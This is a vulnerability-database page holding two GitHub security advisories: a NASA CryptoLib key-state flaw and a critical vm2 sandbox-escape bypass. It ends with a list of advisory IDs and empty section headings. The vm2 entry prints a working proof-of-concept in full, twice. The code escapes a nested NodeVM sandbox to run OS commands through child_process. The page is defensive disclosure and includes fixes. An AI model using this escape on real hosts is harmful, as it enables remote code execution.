GHSA-M25X-4J5X-R9V6

Vulnerability from github – Published: 2025-04-27 03:30 – Updated: 2025-04-27 03:30

Details

In NASA CryptoLib before 1.3.2, the key state is not checked before use, potentially leading to spacecraft hijacking.

Severity

3.5 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-46675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-27T01:15:44Z",
    "severity": "LOW"
  },
  "details": "In NASA CryptoLib before 1.3.2, the key state is not checked before use, potentially leading to spacecraft hijacking.",
  "id": "GHSA-m25x-4j5x-r9v6",
  "modified": "2025-04-27T03:30:22Z",
  "published": "2025-04-27T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nasa/CryptoLib/pull/358"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nasa/CryptoLib/pull/359"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nasa/CryptoLib/compare/v1.3.1...v1.3.2"
    },
    {
      "type": "WEB",
      "url": "https://securitybynature.fr/post/hacking-cryptolib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M4WX-M65X-GHRR

Vulnerability from github – Published: 2026-05-29 17:50 – Updated: 2026-06-12 20:52

Summary

vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE

Details

Summary

The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.

When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.

Root Cause

// nodevm.js:263 — the security check
if (options.nesting === true && options.require === false) {
    throw new VMError('...');
}
// nodevm.js:280 — the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
//   - Line 263: undefined === false → FALSE → check skipped
//   - Line 280: requireOpts = false → same as require:false

Impact

Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:

require('vm2') to get the vm2 library
Construct an inner NodeVM with require: { builtin: ['child_process'] }
Execute arbitrary OS commands via child_process.execSync

The inner VM is completely unconstrained by the outer sandbox configuration.

Reproduction

const { NodeVM } = require('vm2');

// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });

const result = nvm.run(`
  const { NodeVM } = require('vm2');
  const inner = new NodeVM({
    require: { builtin: ['child_process'] }
  });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'exploit.js'
  );
`, 'exploit.js');

console.log(result); // prints host uid/gid — full RCE

Suggested Fix

// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
    throw new VMError('...');
}

Or move the check after the destructuring default assignment:

const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
    throw new VMError('...');
}

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:50:22Z",
    "nvd_published_at": "2026-06-12T15:16:28Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.\n\nWhen `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.\n\n## Root Cause\n\n```javascript\n// nodevm.js:263 \u2014 the security check\nif (options.nesting === true \u0026\u0026 options.require === false) {\n    throw new VMError(\u0027...\u0027);\n}\n// nodevm.js:280 \u2014 the default assignment (AFTER the check)\nconst { require: requireOpts = false } = options;\n// When options.require is undefined:\n//   - Line 263: undefined === false \u2192 FALSE \u2192 check skipped\n//   - Line 280: requireOpts = false \u2192 same as require:false\n```\n\n## Impact\n\nFull Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:\n\n1. `require(\u0027vm2\u0027)` to get the vm2 library\n2. Construct an inner `NodeVM` with `require: { builtin: [\u0027child_process\u0027] }`\n3. Execute arbitrary OS commands via `child_process.execSync`\n\nThe inner VM is completely unconstrained by the outer sandbox configuration.\n\n## Reproduction\n\n```javascript\nconst { NodeVM } = require(\u0027vm2\u0027);\n\n// nesting:true, require not specified (defaults to false AFTER the check)\nconst nvm = new NodeVM({ nesting: true });\n\nconst result = nvm.run(`\n  const { NodeVM } = require(\u0027vm2\u0027);\n  const inner = new NodeVM({\n    require: { builtin: [\u0027child_process\u0027] }\n  });\n  module.exports = inner.run(\n    \"module.exports = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString()\",\n    \u0027exploit.js\u0027\n  );\n`, \u0027exploit.js\u0027);\n\nconsole.log(result); // prints host uid/gid \u2014 full RCE\n```\n\n## Suggested Fix\n\n```javascript\n// Change the check to catch both false and undefined/omitted:\nif (options.nesting === true \u0026\u0026 !options.require) {\n    throw new VMError(\u0027...\u0027);\n}\n```\n\nOr move the check after the destructuring default assignment:\n\n```javascript\nconst { require: requireOpts = false } = options;\nif (options.nesting === true \u0026\u0026 !requireOpts) {\n    throw new VMError(\u0027...\u0027);\n}\n```",
  "id": "GHSA-m4wx-m65x-ghrr",
  "modified": "2026-06-12T20:52:53Z",
  "published": "2026-05-29T17:50:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47137"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE"
}

CWE-913

Improper Control of Dynamically-Managed Code Resources

GHSA-HH7J-PG39-Q563

Impact

Patches

Workarounds

Explanation

GHSA-J2HP-QMRF-626C

GHSA-J3HM-6RG5-MCHV

Summary

Affected Versions

Details / Root Cause

Proof of Concept

Impact

Suggested Fix

GHSA-J6X3-3JQQ-M922

GHSA-J7MP-FRQ8-HWP3

GHSA-JGC5-XGWJ-77VF

GHSA-JQV5-7XPX-QJ74

Impact

Patches

Workarounds

References

For more information

GHSA-JVPP-7888-2HGR

GHSA-M25X-4J5X-R9V6

GHSA-M4WX-M65X-GHRR

Summary

Root Cause

Impact

Reproduction

Suggested Fix

Mitigation

Mitigation